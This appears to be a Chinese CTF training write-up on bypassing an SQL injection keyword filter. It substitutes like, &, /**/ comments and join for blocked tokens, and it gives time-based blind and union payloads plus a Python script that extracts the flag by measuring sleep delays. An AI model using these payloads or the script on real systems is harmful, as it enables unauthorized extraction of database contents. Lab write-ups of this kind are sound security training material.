0%

blacklist_writeup

前言

本文为某次培训练习题解题过程,该题考察SQL注入绕过方法,难度中等。

正文

  1. 观察题目,可知道本题考察SQL注入绕过,经过测试,发现拦截=andor, (空格)
  2. = 可用like代替
  3. and 可用&代替
  4. or 可用|代替
  5. 空格可用注释绕过/**/
  6. 逗号可用from a for b绕过,但是仅限于函数内逗号,所以本题不能使用union select 1,flag from flag来直接获取到结果(误,可以使用join绕过,见方法二)
    以下为以前使用过的一个绕过逗号拦截的payload,我们可以在它的基础上进行修改:
    1
    1' and (select * from (select case when (substring((select user()) from 1 for 1)='c') then sleep(3) else 0 end)A) -- 
  7. ctf注入题的flag通常在flag表,所以我们直接跑这个表了,所以把payload修改为如下:
    1
    1' and (select * from (select case when (substring((select * from flag) from 1 for 1)='c') then sleep(3) else 0 end)A) -- 
  8. 因为for 里面的or也会拦截,所以换成这种写法:
    1
    2
    from a  //表示从最后一个字母取,取a个字母,如果越界则为空值
    select substring((select user()) from -14);
    所以payload修改为:
    1
    1' and (select * from (select case when (ascii(substring((select * from flag) from -1))=2) then sleep(3) else 0 end)A) -- 
    这里的-1表示截取倒数第一个字符,2与该字符的ASCII码进行比对
  9. 然后替换and&=like (空格)为/**/,因为最后的--注释符替换成/**/--/**/的话会失效,所以使用#注释,最终payload:
    1
    1'/**//**/&/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-1))/**/like/**/125)/**/then/**/sleep(3)/**/else/**/0/**/end)A)#
    我们知道flag字符串最终位为},其ASCII码值为125,所以测试这位的值来验证我们的payload,可以看到确实延迟了3s:

    如果修改为错误的值则不会:
  10. 那么我们就可以根据上面的payload编写最终exp了:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    import requests
    import string
    import time


    def exp(keynum, chrord):
    burp0_url = "http://x.x.x.x:xxxxx/?id=1'/**/%26/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-{}))/**/like/**/{})/**/then/**/sleep(2)/**/else/**/0/**/end)A)%23".format(keynum, chrord)
    # print(burp0_url)
    burp0_cookies = {"PHPSESSID": "o19hhhgs7vncjnq8ffmlubp3h1"}
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)


    flagchars = string.ascii_lowercase + string.digits + '{}_-'
    flagchars_ordlist = [ord(c) for c in flagchars]
    flag = ''
    pre_chr = ''
    for i in range(1, 43):
    for j in flagchars_ordlist:
    c = chr(j)
    retry = 3
    while retry > 0:
    try:
    now = time.time()
    exp(i, j)
    end = time.time()
    break
    except:
    # 重试
    retry -= 1
    if end - now > 2:
    print(c)
    flag += c
    break
    else:
    print('not in letters')

    print(flag[::-1])
    运行结果:

方法二

使用join可以把两个表查询的结果左右合并,从而拼接多个字段,如下:

1
select 1,2 from (select 1,2)a where 'a'='a' union select * from (select 1)b join (select 2)c;

1
2
3
4
5
6
# 创建数据库及表
create table flag;
create table flag (flag varchar(43));
insert into flag (flag) values ('flag{810a9492-bfac-4a9b-be38-823b6efd7ab5}');
# 测试语句
select 1,2 from (select 1,2)a where 'a'='a' union select * from flag join (select 1) a;

根据上面的实验,最终构造如下payload:

1
1'/**/&/**/1/**/like/**/0/**/union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/*/**/from/**/flag)b#

编码后发送可取得flag